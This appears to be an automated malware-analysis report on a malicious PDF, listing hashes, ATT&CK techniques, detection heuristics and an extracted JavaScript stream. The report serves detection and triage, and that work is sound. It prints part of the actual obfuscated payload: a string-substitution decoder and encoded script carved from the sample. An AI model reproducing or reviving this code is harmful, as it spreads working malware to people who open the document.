Malicious PDF — malware analysis report

Static analysis result for SHA-256 926ac233ede5e59c…

MALICIOUS

PDF

9.4 KB Created: 2010-05-19 11:55:02 Authoring application: KNrdHguSizMwH9 (via T1O7Xxc3jpGxh) First seen: 2026-05-10
MD5: 624692477d9465a6b1913ad1184b4e26 SHA-1: 89963e79d0843dd54f590c78d2d25f6575b71729 SHA-256: 926ac233ede5e59cba753f021904fc8f7ec6dff983912e7aca19fa338564bbdf
166 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 JavaScript/Shell Scripting: JavaScript T1204.002 Malicious File: User Execution: Malicious JavaScript

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. A high-severity PDF_EVAL heuristic firing suggests the use of eval(), which is often used to deobfuscate and execute malicious code. The embedded JavaScript is likely intended to perform malicious actions upon opening the document, such as downloading a second-stage payload, though the exact functionality is obscured.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    4cT%t<coW%toWRW%tZcs9%tcT<n%t<soW%t<noW%tsvTR%tTJsT%t<Z<x%tvs8x%tv8vv%tsRv8%tRcsJ%tR8RT%t<ZRv%txWo(%tx8xW%tTZcR%toWTZ%toJc8%tcvov%txco<%to4T<%tooo<%tTZoZ%tonoT%toxoZ%tonTZ%tovoZ%tT<oW%to(x8%tcZx8%toWo4%tc4cJ%t88c8\"P;\nCCp\nCCwdUwCFQC0U4XRy<RMNnQ6yHZgC==CTPE\nCCCCf.ce7nQ(DjUmQ4F7C=CtVwUl)hw0\"%tWcWc%tWcWc%tWcWc%t8Z<s%tcc9s%toon4%t(8s4%t(88v%t<Zcc%t<TWc%t<sZR%t<(89%tZZ<n%tZZZZ%t(sxZ%tJZW<%t<Z<Z%toW<Z%t<cRZ%t4ZoW%tWTZc%t4ZoW%to<<x%t<Z8c%t<Z<s%toW<Z%ts48c%tov(x%t<vRv%t8x8c%t<Zvv%t<Z<Z%tRRoo%ts4<s%t …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x23B 8041 bytes
SHA-256: f5ffc3a44fce24f7eeaca74e52bfe419311cecb4018985d9ccf2abefd51c3eb8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). 106 of 157 identifiers look randomly generated (e.g. 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmn') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function JWUZf(JWUZf,phEftrq2wmBL) {var AmOYAUAxMZJOShYhP9R=JWUZf. substr (phEftrq2wmBL, 1);return AmOYAUAxMZJOShYhP9R;}/*Oks9lqbfbeaW|ovI9v5|KFacmzA2*/function f3pAHf1qQZzGs(MXyH237KtLMdoE) {/*SUC2DCdud9L8ZhGDTO|EKPPP|s1fsuTAEW3HYX12*/var sljmRj = new String("<>(){} .,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789");/*C0vk6z3L28[INlx6dTpNm]S9jZY6RQSUHE4E3*//*Pwwl4ANs6rBm5oSNn1|By4SHPZLJdF8t2v|wvjfsQhULL*/var wbaD0PJj2V7qczka /*ZyeC0T7IaMilWCr[wjGIW1r1k8]AKkijZDmPWj*/= new String("KO0PEpCk>RsnJ<Z2.eH j3MrDLGu5,B7iby)NlXwQa{Fg6dzV}hASUYtqf1Im8vTcW9ox(4");/*ww7YI9Gdwpj|Cbm3ClS7v2fVSj8i6i7|U4Hd4O7q3hl58NzA*/for(TmMxQ=0;TmMxQ<sljmRj.length;TmMxQ++) {if(MXyH237KtLMdoE == JWUZf(wbaD0PJj2V7qczka, TmMxQ)) {/*I8kBe6TD429czsxt0Q[FNU8u64tKuu93sk]MgOPbGP458rpz7T4Lo3*/return JWUZf(sljmRj, TmMxQ);/*lypvjZvcIVXU2mkTszNo <AUo2oiEScB4Rqp0GbT]wqjoSJ8B*/}}return MXyH237KtLMdoE;}/*MqxHBcApBE8dF2vwil39[Ivlra40Y6zknnroGrTH]Rl2KWos7ir2qdeX4Z*//*TWD39rln|T74GPf8Z2nIzL0s1U|OOmch8gb*/var TdYGlw1ZVB2YK = new String;var skuMPSQu = new String("\nq)SCY,lYU,)ZqLIH.xT.C=CVwfCRSS)I0P;\nq)SCryu7QnHZflB<BVDA;\nQtVlYF}VCuT687 ru6Mdc,z 30aVUcms.f}Vs ))RU>CetT4ZLNm}3ce83wBPE\nCCf{FdwC0aVUcms.f}Vs ))RUkdwVaY{C*CTCKCetT4ZLNm}3ce83wBPE\nCCCCaVUcms.f}Vs ))RUC+=CaVUcms.f}Vs ))RU;\nCCp\nCCaVUcms.f}Vs ))RUC=CaVUcms.f}Vs ))RUkUtNUYSFVa08>CetT4ZLNm}3ce83wBC/CTP;\nCCSwYtSVCaVUcms.f}Vs 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